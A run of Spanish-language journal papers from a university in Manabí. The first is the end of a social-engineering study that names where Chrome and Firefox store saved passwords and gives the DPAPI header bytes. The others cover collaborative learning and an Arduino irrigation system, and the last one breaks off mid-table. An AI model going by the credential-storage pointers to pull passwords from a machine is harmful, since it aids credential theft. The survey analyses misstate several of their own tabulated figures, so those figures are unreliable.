En la actualidad el mundo es operado a base de sistemas ya sean estos organizacionales o computacionales, esto implica que por lo menos una persona deba conocer el funcionamiento correcto del mismo. Generando una pregunta ¿Qué sucedería si esa persona desapareciera o que su identidad cambia? La respuesta sería muy fácil el sistema comienza a tambalear, por lo tanto, la seguridad informática tiene como objetivo asegurar los datos que se mueven dentro del sistema ya que el flujo errado de información puede causar incidentes fatales en las operaciones del sistema.

La seguridad informática comprende los siguientes temas:

- El desarrollo de planes de contingencia en caso de fallos
- Verificación del correcto control de accesos físicos a los sistemas
- Elección de un hardware y software de calidad
- La correcta formación de los usuarios para el correcto funcionamiento del sistema.

La ingeniera social puede traspasar alguno de los temas mencionados anteriormente puesto que si no se tiene una correcta administración de las tecnologías de la información y comunicación todos los sistemas son vulnerables y esto puede darse porque todo sistema siempre debe ser operado por el factor humano.

Navegadores web y su protección contra el flujo de información

A continuación, nombraremos dos de los navegadores web más utilizados a nivel mundial y sus respectivos métodos para proteger nuestros datos almacenados de manera local.

Google Chrome

Google Chrome es por excelencia el navegador web más utilizado hasta la actualidad (2019), los datos locales que almacena este navegador específicamente refiriéndose a los datos de inicio

de sesión almacenados para recordar posteriormente, utilizan el método de encriptación DPAPI.

- **DPAPI.** - es un sistema de descifrado / cifrado utilizado por los productos de Microsoft y productos de terceros para descifrar y cifrar contraseñas y otra información secreta en el sistema operativo Windows. Los datos descifrados de DPAPI siempre comienzan con la siguiente secuencia de bytes, para que pueda detectarlos fácilmente:

01 00 00 00 D0 8C 9D DF 01 15 D1 11 8C 7A 00 C0 4F C2 97 EB

Estos datos y este método de encriptación se aplican a un archivo llamado “Login Data” que es un archivo de base de datos SQLite, dentro de este archivo se almacenan la URL, nombre de usuario y contraseña utilizados para acceder a sitios en específicos que el usuario haya guardado con anterioridad.

Mozilla Firefox

El método de encriptación utilizado por Mozilla para la protección de datos almacenados de manera local es TRIPLE DES utilizando como SALT un SHA-1, el archivo en el que se hace uso de este método y en el que se almacenan dichos datos es “logins.json” y la semilla SHA-1 en key3.db, todo esto cuando se hace uso de una master password administrada por Firefox, cuando no se usa esta opción nuestros datos sólo estarán encriptados con TRIPLE DES sin SALT.

- **TRIPLE DES**

Según Wikipedia “En criptografía, Triple DES se le llama al algoritmo que hace triple cifrado del DES. También es conocido como TDES o 3DES, en 1998 IBM desarrollo 3DES o Triple DES (TDES) que sería sucesor directo de DES.” (Wikipedia C. d., TRIPLE DES, 2019)

3. MATERIALES Y MÉTODOS

Se utilizaron métodos de la investigación científica tales como:

Del nivel teórico:

- **Análisis – síntesis:** se utilizó para determinar los riesgos en el uso de las tecnologías de la información.

- **Histórico – lógico:** se usó en la construcción del proyecto con énfasis en la búsqueda de los antecedentes de la Ingeniería Social.
- **Inducción – deducción:** se empleó en toda la investigación, en particular en el análisis de las características de la ingeniería social, sus manifestaciones y técnicas de ataque.

Del nivel Empírico:

- **Encuestas:** para analizar y determinar o conocer los errores más comunes que el usuario comete al momento de utilizar un ordenador, lo cual lleva a los riesgos en el uso de las tecnologías de la información, y nos indica el desconocimiento que tienen muchos usuarios en el tema.
- **Revisión bibliográfica:** Se utilizó en la fase de recopilación de la información del tema para la elaboración de la investigación, mediante libros, revistas de carácter científico, internet, entre otros.

Del nivel Estadístico – Matemático

Se utilizó la estadística descriptiva y la estadística inferencial, para el análisis y la tabulación de los datos generados por la aplicación de los métodos empíricos. Se utilizó el cálculo porcentual como procedimiento matemático.

4. RESULTADOS Y DISCUSIÓN

Encuesta dirigida a los estudiantes de la facultad de ciencias técnicas, pertenecientes a la Universidad Estatal del Sur de Manabí.

1) ¿Tiene usted conocimiento del tema "Ingeniería Social"?

Tabla #1

ALTERNATIVA	FRECUENCIA	%
SI	6	7
NO	82	93
TOTAL	88	100

Gráfico #1

Fuente: Población de la facultad ciencias técnicas, “Universidad Estatal del Sur de Manabí”

Elaborado por: Danny Castro.

Análisis de resultados

En el análisis realizado mediante la pregunta planteada a estudiantes del área de ciencias técnicas se denotó que: Un 7% tiene conocimiento del tema “Ingeniería Social” mientras que el 93% de los mismos indicó que no tenían conocimiento en dicho tema. Por lo cual pasamos al desarrollo de la siguiente pregunta.

2) ¿Sabía usted que puede perder información de carácter privado, si hace uso de aplicaciones para piratear software?

Tabla #2

ALTERNATIVA	FRECUENCIA	%
SI	16	18
NO	72	82
TOTAL	88	100

Gráfico #2

Fuente: Población de la facultad ciencias técnicas, “Universidad Estatal del Sur de Manabí”

Elaborado por: Danny Castro.

Análisis de resultados

En el análisis realizado mediante la pregunta planteada a estudiantes del área de ciencias técnicas se denotó que: Un 7% tiene conocimiento sobre “la utilización de la Ingeniería Social para el gaño de los usuarios aplicando diferentes técnicas” mientras que el 93% de los mismos indicó que no tenían conocimiento de ello. Por lo cual pasamos al desarrollo de la siguiente pregunta.

3) ¿Comparte usted su ordenador personal con otros usuarios?

Tabla #3

ALTERNATIVA	FRECUENCIA	%
SI	50	57
NO	38	43
TOTAL	88	100

Gráfico #3

Fuente: Población de la facultad ciencias técnicas, “Universidad Estatal del Sur de Manabí”

Elaborado por: Danny Castro.

Análisis de resultados

En el análisis realizado mediante la pregunta planteada a estudiantes del área de ciencias técnicas se denotó que: Un 43% de los encuestados comparte su ordenador personal con otros usuarios, mientras que el 57% de los mismos indicó que no lo compartían. Por lo cual pasamos al desarrollo de la siguiente pregunta.

4) ¿Cuándo usted ingresa a un sitio web que le solicita usuario y contraseña, marca la casilla que le permite recordar datos?

Tabla #4

ALTERNATIVA	FRECUENCIA	%
NUNCA	66	75
A VECES	15	17
SIEMPRE	7	8
TOTAL	88	100

Gráfico #4

Fuente: Población de la facultad ciencias técnicas, “Universidad Estatal del Sur de Manabí”

Elaborado por: Danny Castro.

Análisis de resultados

En el análisis realizado mediante la pregunta planteada a estudiantes del área de ciencias técnicas se denotó que: Un 8% de los encuestados siempre usa la opción de recordar datos de inicio de sesión en los navegadores, 17% de los mismos indicaron que a veces solían hacerlo y el 75% indicó que nunca utilizan dicha opción. Por lo cual pasamos al desarrollo de la siguiente pregunta.

5) La licencia del sistema operativo (S.O) que usted usa en su ordenador ¿Qué tipo de licencia utiliza? (Ejemplo de S.O: Windows 10, Windows 7, Windows 8, Windows8.1, Ubuntu, Linux)

Tabla #5

ALTERNATIVA	FRECUENCIA	%
LIBRE (GNU/LINUX)	15	17
GRATUITA (GNU/LINUX)	10	11
COMPRADA (WINDOWS)	12	14
PIRATEADA (WINDOWS)	51	58
TOTAL	88	100

Gráfico # 5

Fuente: Población de la facultad ciencias técnicas, “Universidad Estatal del Sur de Manabí”

Elaborado por: Danny Castro.

Análisis de resultados

En el análisis realizado mediante la pregunta planteada a estudiantes del área de ciencias técnicas se denotó que: Un 17% de los encuestados usa una distribución de GNU/Linux, 11% indicaron que usan licencia gratuita de uso en una distribución de GNU/Linux, el 14% indicó que compraron sus licencias de Windows, finalmente el 58% indicó que las licencias que usan en sus sistemas operativos Windows son pirateadas. Por lo cual pasamos al desarrollo de la siguiente pregunta.

5. CONCLUSIONES

Una vez realizada la investigación se llegó a las siguientes conclusiones.

- Es necesario poseer conocimientos de seguridad informática para de esta manera poder identificar las causas más comunes que comprometen la seguridad de un sistema, se debe considerar que las TIC avanzan y la información que se transmite por los diferentes medios de comunicación son de gran importancia para los usuarios.
- Para identificar las posibles causas más comunes es necesario demostrar algunas de ellas por medio del diseño de una aplicación, sustentándola en Ingeniería Social.
- Con la aplicación diseñada se busca inducir su uso y así poder demostrar cómo se aplica la ingeniería social.

REFERENCIAS BIBLIOGRÁFICAS

Cornejo, R. (1 de Marzo de 2017). rafaelcornejomartinez. Obtenido de <http://rafaelcornejomartinez.es/la-ingenieria-social/>

Lecziky, U. (31 de 12 de 2000). Espionaje.com. Obtenido de <http://edant.clarin.com/suplementos/zona/2000/12/31/z-01001.htm>

Pedraza Garzón , C. L., & Caviedes Figueroa, V. A. (2011). Guías prácticas para uso de técnicas de ingeniería social con la herramienta set incluida en la distribución backtrack 4 R2. Bogotá.

Salazar, N., & Gonzalez, M. (2007). eafit. Obtenido de eafit: https://repository.eafit.edu.co/bitstream/handle/10784/2443/Salazar_Natalia_2007.pdf?sequence=1

BIOGRAFÍA DE AUTORES

Castro Álava Danny Alan, Estudiante de la Carrera de Ingeniería en Tecnologías de la información.

Kirenia Maldonado Zuñiga, Máster en Ciencias de la Educación, Licenciada en Educación Informática, Universidad de Ciencias Pedagógicas, Holguín Cuba.

Mario Javier Marcillo Merino. Docente de la Universidad Estatal del Sur de Manabí.

ANÁLISIS CUANTITATIVO DE LAS EXPECTATIVAS EN UN CONTEXTO DE APRENDIZAJE COLABORATIVO APOYADO POR LAS TIC

Ing. Edwin Joao Merchán Carreño. Mg.
Ing. Karina Virginia Mero Suárez. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

joao.merchan@unesum.edu.ec

Resumen

En la actualidad el uso de las Tecnologías en el proceso de enseñanza-aprendizaje ha logrado un aprendizaje productivo y colaborativo, donde el alumno asume un papel de liderazgo y el educador se convierte en colaborador de la construcción del conocimiento. La importancia de esta investigación radica en exponer la necesidad de tomar distancia del pensamiento que entiende la enseñanza como una actividad técnica de aplicación para entenderla como una práctica social que comprende el marco y el contexto en el que se desarrolla la tarea formativa. El objetivo de la investigación es evaluar el aprendizaje de los estudiantes en la asignatura Lógica con el uso de técnicas colaborativas en un contexto de aprendizaje activo. A partir de un análisis cuantitativo de las expectativas de los estudiantes sobre una experiencia de aprendizaje activo, se busca promover la discusión sobre los efectos de incorporar técnicas de aprendizaje colaborativo en el aula. En la investigación se utilizaron métodos tales como: del nivel teórico: análisis – síntesis para determinar el uso de las tecnologías en las clases de lógica, histórico – lógico en la búsqueda de los antecedentes y inducción – deducción, del nivel empírico: las encuestas para determinar las necesidades más comunes en el aprendizaje colaborativo, revisión bibliográfica, en la recopilación de información y del nivel estadístico – matemático, Se utilizó la estadística descriptiva y la estadística inferencial. Los resultados de la investigación confirman la conveniencia señalada con respecto al uso de estrategias de colaboración en el contexto del aprendizaje activo en la educación terciaria.

Palabras clave: activar aprendizaje, análisis cuantitativo, técnicas colaborativas.

Summary

At present, the use of Technologies in the teaching-learning process has been achieved through product and collaborative learning, where the student assumes a leadership role and the educator becomes a collaborator in the construction of knowledge. The importance of this

research lies in exposing the need to take a distance between thinking that education is understood as a technical activity of the application of meaning as a social practice that includes the framework and context in which the training task is performed. The objective of the research is to evaluate the students' learning in the Logic subject with the use of collaborative techniques in an active learning context. The search for a quantitative analysis of the expectations of students about an active learning experience, seeks to promote discussion about the effects of collaborative learning techniques in the classroom. In the research methods were used such as: level theoretical level: analysis - synthesis to determine the use of technologies in logical classes, historical - logical in the search of the background and induction - deduction, the empirical level: the surveys to Determine descriptive statistics and inferential statistics. The results of the research confirm the convenience indicated with respect to the use of collaborative strategies in the context of active learning in tertiary education.

Keywords: activate learning, quantitative analysis, collaborative techniques.

Introducción

Estudios recientes sobre los estudiantes de colaboración de aprendizaje apoyados en el uso de las Tecnologías de la Información (TIC) y muestran que los estudiantes se comprometen más o menos eficazmente los problemas que la vida plantea a ellos. Por lo tanto, un número creciente de expertos recomienda la introducción en las escuelas de aprendizaje social, que promueve la creación de instituciones para gobernar la comunidad y el manejo de las emociones.

El aprendizaje de las ciencias experimentales requiere de poner en diálogo un saber específico disciplinar que se modifica, se reorganiza, se repiensa para ser enseñado a cada grupo y para cada situación, existe una contextualización más amplia y más profunda, referida al entorno y las circunstancias históricas, políticas, económicas, sociales y culturales –en muchos casos globales-- que atraviesan como país y como comunidades en América Latina.

La importancia de esta investigación radica en exponer la necesidad de tomar distancia del pensamiento que entiende la enseñanza como una actividad técnica de aplicación para entenderla como una práctica social que comprende el marco y el contexto en el que se desarrolla la tarea formativa.

La mayoría de los esfuerzos que se han realizado hasta ahora en el campo de las tecnologías educativas se han centrado en mejorar el rendimiento del modelo tradicional de educación. En

otras palabras, la mayor parte de la investigación se ha orientado hacia el conocimiento de determinados temas mediante la aplicación de las TIC.

El aprendizaje activo se puede considerar como el método de capacitación que incluye a los destinatarios del aprendizaje en el proceso de aprendizaje. Existe evidencia de que el aprendizaje activo es muy beneficioso en la enseñanza de disciplinas no relacionadas con la ingeniería. También se han obtenido datos empíricos que respaldan los beneficios del aprendizaje activo en disciplinas de ingeniería. Los estudiantes que aprendieron en grupos en procesos obtuvieron mejores resultados que aquellos que aprendieron individualmente y pasivamente de clases magistrales exclusivamente, además, el aprendizaje activo es compatible con las técnicas de aula volteadas. Con todo, un aprendizaje conductivo puede entenderse como el aprendizaje por necesidad, el logro de nuevos conocimientos destinados a resolver problemas que comienzan en la vida cotidiana, tener importancia social y valor práctico.

El aprendizaje activo es muy beneficioso en la enseñanza de disciplina experimental incluyendo las asignaturas profesionalizantes, con énfasis en las ingenierías. También hay evidencia de apoyo a los beneficios del aprendizaje activo en las disciplinas de ingeniería. Los estudiantes aprenden unos de otros. Se desempeña mejor que aquellos que pasivamente e individualmente aprenden de las conferencias.

En este contexto, la brecha epistémica se constata en las contradicciones manifiestas por los autores consultados relacionados con las orientaciones a modelos que ponderan el uso de las TIC y otros que restan importancia a su uso en determinadas áreas del conocimiento, en tanto, se declara como problema de esta investigación el aprendizaje de Lógica por los estudiantes de la carrera de Tecnologías de la Información en la Universidad Estatal del Sur de Manabí.

El objetivo general de la investigación es evaluar el aprendizaje de los estudiantes en la asignatura Lógica con el uso de técnicas colaborativas en un contexto de aprendizaje activo respaldado por las TIC. Los objetivos específicos de la investigación presentada aquí fueron los siguientes:

- Medir las expectativas de los estudiantes en la adquisición de conocimiento a través de una propuesta de aprendizaje activo respaldada por las TIC en el contexto de una asignatura.
- Evaluar el interés ganado por los estudiantes en la propuesta para la asignatura.
- Analizar el grado de innovación percibido por los estudiantes de la propuesta de formación para el tema en cuestión.

- Analizar la relación entre las expectativas de los estudiantes en relación con la adquisición de conocimientos a través de las TICs.

En la selección del tema de la investigación presentada, el aprendizaje a nivel universitario, se sigue una tendencia popular en las ciencias sociales en el sentido de que tratamos con objetos de investigación que plantean desafíos globales. Al mismo tiempo, este tema se encuentra entre las líneas de investigación social con más futuro si la educación actual se asocia con la sabiduría futura y constituye uno de los pilares fundamentales de la Sociedad del Conocimiento.

Cada vez más expertos aconsejan la introducción del aprendizaje social en las escuelas (aprendizaje a través de la observación o la interacción con otras personas), lo que promueve, por ejemplo, la creación de instituciones para gobernar la comunidad. Además, se ha aconsejado al manejo emocional que sea parte del proceso de aprendizaje en las escuelas. Además, si las habilidades emocionales y sociales se enseñan a los niños desde una edad temprana, son mejores y más estudiantes cívicos. Por otro lado, hay evidencia de que el factor de inteligencia colectiva de un grupo está fuertemente correlacionado con su sensibilidad social promedio y con su desigualdad en la distribución de turnos de palabra, entre otros factores. Además, si se concibe a los docentes como trabajadores del conocimiento y se les proporcionan objetivos personalizados, motivación y herramientas que necesitan para poder hacer su trabajo, habrá efectos positivos en su desempeño. Desde una perspectiva diferente, de acuerdo con la teoría de las inteligencias múltiples, hay varios tipos de inteligencia, a saber, lógico-matemática, espacial, lingüística, musical, corporal-cinestésica, interpersonal, intrapersonal y naturalista.

En la medida que el estudiante se apropia de conocimientos y habilidades, transforma su pensamiento. Al proceso y resultado de transformación del pensamiento se le denomina Instrucción.

La apropiación de conocimientos es el medio para un proceso de transformación más trascendental en el estudiante, su formación como ser social. El estudiante requiere que se le estimulen sus potencialidades mentales y físicas en la medida que se instruye y educa. Al proceso y resultado de la formación de sus potencialidades, la estimulación de sus facultades espirituales y físicas asociadas al conocimiento, se le denomina Desarrollo, lo cual requiere del proceso enseñanza-aprendizaje un carácter activo, desarrollador, que el aprendizaje tenga significación social y utilidad práctica .

Es un hecho que la computadora y en general las TIC son elementos que caracterizan a la civilización contemporánea.

Mejía (1994), ofrece una clasificación para el empleo de las computadoras en la enseñanza de la Matemática, planteando dos caminos estrechamente vinculados por su dependencia funcional: el desarrollo de software específicos en sus diferentes denominaciones (Computer Assisted Instruction, Computer Assisted Learning) y el de herramientas computacionales (Derive, Mathematic, Maple)

El uso de la computadora está produciendo cambios revolucionarios en la forma de investigar y enseñar Matemática. Estos cambios no son percibidos y asimilados en toda su magnitud por la comunidad científica, que no se percata que la Matemática cuenta ya con un laboratorio que nos permite experimentar (conjeturar).

Autores como Aguilera y Valido (1998), han ofrecido diferentes formas de utilización de las computadoras en el proceso de enseñanza aprendizaje de las matemáticas, con el uso de asistentes especializados como DERIVE FOR WINDOWS.

La introducción de la computadora en el proceso de enseñanza aprendizaje establece una nueva relación en el salón de clases, la relación EDUCADOR MATEMÁTICO-COMPUTADORA-ESTUDIANTES, modifica las relaciones sociales que se establecen en el salón de clases, cambiando el rol del EDUCADOR y los ALUMNOS, exigiendo la reestructuración de los contenidos de Matemática, métodos y medios de enseñanza, modifica la forma de orientar y controlar el trabajo independiente del estudiante. En general presupone una revolución de la didáctica de la Matemática que debe responder a las nuevas relaciones que se desarrollan, como se expresa en el diagrama siguiente:

El uso de la computadora en la enseñanza de la Matemática está creando nuevos paradigmas poniendo interrogantes a aquellos paradigmas que nacieron con la enseñanza tradicional de la Matemática.

Villanueva (2005), considera la computadora como herramienta que estimula y soporta el proceso de enseñanza aprendizaje en la resolución de problemas matemáticos; sin embargo, dicho autor no se refiere a la concepción pedagógica necesaria en este nuevo enfoque de la enseñanza para obtener competencias que exige la sociedad de un profesional en las áreas de ingeniería.

A partir de los párrafos anteriores, se puede deducir que la mejora de los sistemas educativos pasa por la implementación de nuevos modelos de educación que permiten el trato personalizado de los alumnos a la hora de la docencia. Además, la enseñanza debe estar dirigida a mejorar todas las habilidades cognitivas, emocionales y sociales. Aunque hay aplicaciones parciales de estos modelos que han resultado en la mejora de los sistemas educativos que han aplicado dichos modelos, las tecnologías actuales que son el producto de la revolución digital actual, hacen posible obtener mucho más de ellas para implementar estos modelos. Hay varias razones que lo respaldan, como el hecho de que los esfuerzos realizados hasta el momento en el campo de las tecnologías educativas se han orientado a mejorar el rendimiento del modelo tradicional de educación, que apunta a aprender sobre ciertas materias mediante la aplicación de las TIC.

El aprendizaje activo se puede entender como cualquier medio de capacitación que involucra a los destinatarios de esto (por ejemplo, estudiantes) en el proceso de aprendizaje. Existe evidencia de que el aprendizaje activo es muy beneficioso para la enseñanza de disciplinas no relacionadas con la ingeniería. También hay evidencia empírica de los beneficios del aprendizaje activo en disciplinas de ingeniería. Los estudiantes aprenden unos de otros en grupos en procesos con un número creciente de miembros que se desempeñan mejor que aquellos que aprenden de las clases maestras exclusivamente de forma pasiva e individual. Además, estas técnicas son compatibles con las técnicas de aula volteadas.

Materiales y métodos

Se utilizaron métodos de investigación como:

Del nivel teórico:

- **Análisis – síntesis:** se utilizó para determinar el uso de las TIC en las clases.
- **Histórico – lógico:** se usó en la construcción de la investigación con énfasis en la búsqueda de los antecedentes.
- **Inducción – deducción:** se empleó en toda la investigación, en el análisis de la asignatura Lógica.
- **Del nivel Empírico:**

- **Encuestas:** para analizar y determinar las necesidades más comunes en el aprendizaje colaborativo.
- **Revisión bibliográfica:** Se utilizó en la recopilación de la información del tema para la elaboración de la investigación.
- **Del nivel Estadístico – Matemático**

Se utilizó la estadística descriptiva y la estadística inferencial, para el análisis y la tabulación de los datos generados por la aplicación de los métodos empíricos.

Resultados y discusión

Los resultados demostraron que los estudiantes objeto de estudio en esta investigación adquirieron en promedio un nivel medio alto (un valor promedio de 2.58 de 4) de conocimiento a través del método pedagógico en cuestión.

- El interés percibido por estos estudiantes en la propuesta de capacitación es medio (un valor promedio de 1.60 de 3).

- La innovación que los estudiantes piensan que la propuesta formativa tiene para la asignatura es mediana (un valor promedio de 1.49 de 3). Con respecto a las expectativas puestas en el tema, el 80% de los estudiantes consideran que esto puede ser útil o que pueden aprender.

- Es recomendable implementar las técnicas de aprendizaje activo para las TIC en el aula en la educación universitaria, al menos en el nivel donde se imparte la asignatura 'Lógica'. Los resultados obtenidos refuerzan la posición en que la introducción del aprendizaje a través de la observación o interacción con otros individuos (en nuestro caso, con otros compañeros de clase) en los sistemas educativos es aconsejable para la sociedad y los estudiantes.

Conclusiones

Se concluye con los resultados obtenidos en el conocimiento adquirido a través de esta investigación, se deduce que ninguno de los parámetros pedagógicos evaluados, es decir, el nivel de conocimiento a adquirir, el interés de la propuesta, la innovación de la propuesta o las expectativas puestas sobre el tema de acuerdo con esta propuesta, obtiene puntajes inaceptables en términos estadísticos. Además, se han obtenido correlaciones estadísticamente significativas entre dos de estos parámetros, las expectativas puestas en la asignatura y el nivel de conocimiento que deben adquirir los alumnos.

Referencias bibliográficas

- Ausubel, D. (1963). La psicología del aprendizaje verbal significativo. Nueva York: Grune y Stratton. (Electrónicamente).
- H. Gardner (2011a). Marcos de la mente: la teoría de las inteligencias múltiples . Nueva York: Basic Books, 3rd edition.
- Gardner H. (2011b). La mente no escolarizada: cómo piensan los niños y cómo deben enseñar las escuelas . Nueva York: Basic Books, 3rd edition.
- Goleman D. (1995). Inteligencia emocional, Nueva York, Nueva York, Inglaterra: Bantam Books, Inc.
- Goleman D. (2011a). El cerebro y la inteligencia emocional: nuevas ideas, más que sonido.
- Goleman D. (2011b). Liderazgo: el poder de la inteligencia emocional, escritos seleccionados, más que sonido.
- Prince M. (2004). ¿Funciona el aprendizaje activo? Una revisión de la investigación, Journal of Engineering Education 93 (3): 223-231.
- Rendell L, R Boyd, Cownden D, Enquist M, Eriksson K, Feldman MW, [16] Fogarty L, Ghirlanda S, T y Laland Lillicrap KN. (2010). ¿Por qué copiar a otros? Información del tournament de estrategias de aprendizaje social, Science 328 (5975): 208-213.
- Tourón J, R y Santiago Diez A. (2014). The Flipped Classroom: Cómo convertir la escuela en un espacio de aprendizaje, Ocean Group.
- Williams Woolley A, CF Chabris, Pentland A, Malone Hashmi N y TW. (2010). Evidencia de un factor de inteligencia colectiva en el desempeño de grupos humanos, Science 330: 686-688

BIOGRAFÍA DE AUTORES

Edwin Joao Merchán Carreño. Docente de la Universidad Estatal del Sur de Manabí.

Karina Virginia Mero Suárez. Docente de la Universidad Estatal del Sur de Manabí.

SISTEMA DE RIEGO AUTOMATIZADO CON ARDUINO EN EL SECTOR AGRÍCOLA

Luis Alfredo Alcívar Bravo

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

alcivarbravoluis@gmail.com

RESUMEN

Esta investigación permite demostrar el funcionamiento de un sistema automático de riego agrícola utilizando la tecnología Arduino, partiendo de investigaciones ya realizadas anteriormente destaca que un sistema de riego automatizado, toma en cuenta las variables humedad de suelo, temperatura y humedad relativa, por lo cual la intención fue realizar un monitoreo de acuerdo a los valores de esta variable se toma la decisiones sobre encender o apagar la bomba de agua sumergible que permite el regadío de las plantas. Actualmente las personas que tienen plantas en sus hogares no siempre las riegan ya sea por su trabajo o porque se les olvida hacerlo lo cual causa que estas mueran, por estar expuestas al sol por esta razón se ha determinado como objetivo primordial el diseño de un sistema automatizado para riego por chorro continuo implementado en una maceta para desarrollar esta investigación se toma en cuenta la utilización de método teórico como lo es histórico lógico tales como: análisis-síntesis, a su vez para profundizar esta investigación se utilizó el método empírico como es: encuesta, bibliográfico pues es importante que se puede instalar en las plantas sin la necesidad de regarla siempre y cuando se tenga la suficiente agua para que no le haga falta este proceso será automático mediante las conexiones de los circuitos lógicos y sus respectivos componentes como conclusión esta investigación se podrá decir que permite mostrar un nuevo sistema de riego automático, para así beneficiar al medio ambiente y dar una buena utilización al recurso hídrico.

PALABRAS CLAVE: arduino, circuito lógico, protoboard.

ABSTRACT

This research allows us to demonstrate the functioning of an automatic irrigation system using Arduino technology, based on research already carried out previously, emphasizes that an automated irrigation system takes into account the variables soil moisture, temperature and relative humidity, so that the The intention was to carry out a monitoring according to the values of this variable. The decision is made to turn on or off the submersible water pump that allows the irrigation of the plants. Currently people who have plants in their homes do not always irrigate them either because of their work or because they forget to do it which causes

them to die, because they are exposed to the sun for this reason the design of a system has been determined as the main objective. automated for irrigation by continuous flow implemented in a pot to develop this research is taken into account the use of empirical method as it is logical historical such as: analysis-synthesis, in turn to deepen this research the empirical method was used as is: diagnosis, it is important that it can be installed in the plants without the need to water it as long as you have enough water so that you do not need this process will be automatic through the connections of the logic circuits and their respective components as a conclusion research can be said to show a new automatic irrigation system , in order to benefit the environment and give good use to the water resource.

KEYWORDS: Arduino, logic circuit, protoboard.

1. INTRODUCCIÓN

La problemática que versa en esta investigación se enfoca en la poca disponibilidad que tienen las personas para mantener hidratados los cultivos o jardines domésticos, es decir, evitar que sufran deterioro por falta de hidratación. Consientes que, a muchas personas, les agrada el hecho de realizar sus propios cultivos, con plantas ornamentales en jardines o crear huertos para la siembra de hortalizas, esto permite que las personas bajen el nivel de stress y consigan mejorar la salud. Sin embargo, el mantenimiento se torna un problema cuando de regar las plantas se trata, hay quienes deciden contratar personas para el cuidado de sus jardines, otros, ceden tiempo para cuidar sus cultivos, pero no mantienen constancia y termina fallando el control y cuidado de los mismos. Sin embargo, se podría enumerar varios factores como el tiempo, la cantidad de agua que debe suministrar, estos inciden mucho en el cuidado de un cultivo.

Esta propuesta, se centra en el riego automático de los cultivos, empleando tecnología de bajo costo, al servicio de las personas, siendo la idea central integrar la placa Arduino, con sensores de humedad para medir los niveles de hidratación del suelo y sensores de temperatura para medir la humedad del aire, de modo que se active o no la señal que da paso al riego automático. Los sistemas de riego siempre han sido importantes para el hombre que comenzó a cultivar todo tipo de semillas, desde las antiguas civilizaciones se han utilizado, en varias regiones del mundo, existen cultivos tradicionales, que dependen exclusivamente de la lluvia para su hidratación, tal es el caso del arroz, que, ante la falta del riego natural, se establecen otros mecanismos para mantener la producción, frente a esto, la propuesta pretende extrapolar la

solución y llevarla a esquemas reducidos como los jardines domésticos, donde el terreno y las plantas tienen una limitación considerable.

Se desea reducir la brecha entre el uso de la tecnología y la formación teórica que reciben las áreas de Tecnología de la Información, combinando componentes de la electrónica computacional, con el desarrollo de software, se logra contribuir con el desarrollo de destrezas del Ingeniero en TI. Se Propuso un sistema de riego automatizado con tecnología de bajo presupuesto para que sea accesible y adaptable en los huertos. En el mundo agrario, la jardinería ofrece un servicio más exigente, debido a que trata de realizar trabajos concretos de manera eficiente, satisfaciendo las necesidades del cliente y aumentando la producción. El sistema de riego automático está desarrollado para aplicarse en huertos verticales. Hay que considerar que el sistema de riego permite la recirculación del agua, impulsada por una bomba sumergible, la que incluye una solución hidropónica nutritiva.

2. MATERIALES Y MÉTODOS

Materiales:

- Computador: Se ha utilizado un computador para el trabajo de la programación que se requiere para el funcionamiento del proyecto el programa Arduino.
- Arduino uno: Es el microcontrolador es la conexión en la que conectamos placa para hacer funcionar el sistema de riego en el computador.
- Protoboard: Se ha usado para conectar todos los circuitos lógicos que utilizamos para hacer funcionar el proyecto.
- Manguera Transparente: Se ha usado para pasar el agua por medio de la manguera.
- Potenciometro: Este material se ha usado para ver el porcentaje de humedad de la tierra.
- Maceta y planta: Es donde se ha realizado la prueba en una maceta con tierra y una planta.
- Motor eléctrico: El motor ha sido usado para generador en el sistema de atraer agua
- LED: Constituye un tipo especial de semiconductor, cuya característica principal es convertir en luz la corriente eléctrica de bajo voltaje que atraviesa su chip.
- Resistencias: La resistencia es un dispositivo eléctrico que tiene la particularidad de oponerse al flujo de la corriente. Para medir el valor de las resistencias se usa un ...
- Sensor de humedad: El sensor de humedad se usa siempre que sea necesario detectar la humedad del aire. El sensor de humedad se usa por ejemplo junto con un regulador Sensor de humedad para obtener una humedad constante en un laboratorio.

- **LCD:** Para mostrar en mensajes en la pantalla de acuerdo a lo programado y sus funciones decir si la tierra esta humedad, cuanto es el porcentaje, etc.

Realización del sistema de Riego automatizado

Paso 1: Se ha organizado los materiales comprados para el proyecto de sistema de riego se ha probado cada uno si no está en mal estado

Paso 2: Se ha comenzado a realizar las pruebas con el arduino uno. Se probó con arduino uno una conexión básica con el sensor de humedad para chequear que todo funcione.

Paso 3: Se ha conectado el sensor de humedad se sumergió en un vaso con agua, para chequear que funcione correctamente y se visualizó en pantalla los valores que figuraba.

Paso 4: El relé envía la señal a la bomba, es decir que le transmite corriente y este se activa y hace que el agua pase así completando el sistema de riego.

Montaje: El montaje de los componentes electrónicos sobre la placa de pruebas (breadboard) quedo como aparece en la imagen hecha con Fritzing, que es un programa libre de automatización de diseño electrónico que busca ayudar a diseñadores y artistas para que puedan pasar de prototipos (usando, por ejemplo, placas de pruebas) a productos finales.

Figura n°3: Sistema de riego.

Este sistema de riego automático con Arduino riega cuando detecta una combinación de bajos niveles de luz (noche, oscuridad), temperatura en el aire y la humedad en el suelo y deja de regar cuando esos niveles de luz, temperatura y humedad son altos. Los valores de riego o no riego los determina el usuario a través del código que hay que compilar y subir a la placa del microcontrolador Arduino.

Métodos:

- **Histórico-lógico:** Este método se utilizó para la construcción de la investigación con énfasis en la búsqueda de la información sobre el cultivo agrícola.
- **Análisis-síntesis:** Método de observación que se utilizó para profundizar el estudio a partir de la conexión que existe entre la causa y el efecto.

- **Encuesta:** Se utilizó como base esencial del desarrollo de esta investigación para saber cuán importante es el uso de sistema de riego automatizado
- **Bibliográfica:** Se aplicó para citar las fuentes bibliográficas del método Historiográfico que comprende toda la investigación

3. RESULTADOS Y DISCUSIÓN

Validación de activar y desactivar sensor de humedad

El sensor activara y desactivara el sistema automatizado de riego, en el arduino está programado de acuerdo a qué % de humedad y temperatura estará para que este se active automáticamente y también deje de usarlo cuando la humedad este debajo de lo requerido.

Tabla 1

VALIDACIÓN DE SENSOR DE HUMEDAD		
SENSOR	ACTIVAR RIEGO	DESACTIVAR RIEGO
Humedad	% de Humedad $\leq$ a 50%.	% de Humedad $>$ 50%.
Temperatura	$^{\circ}\text{C}$ de Temperatura $\geq$ 40 $^{\circ}$ C.	$^{\circ}\text{C}$ de Temperatura $<$ 40 $^{\circ}$ C.

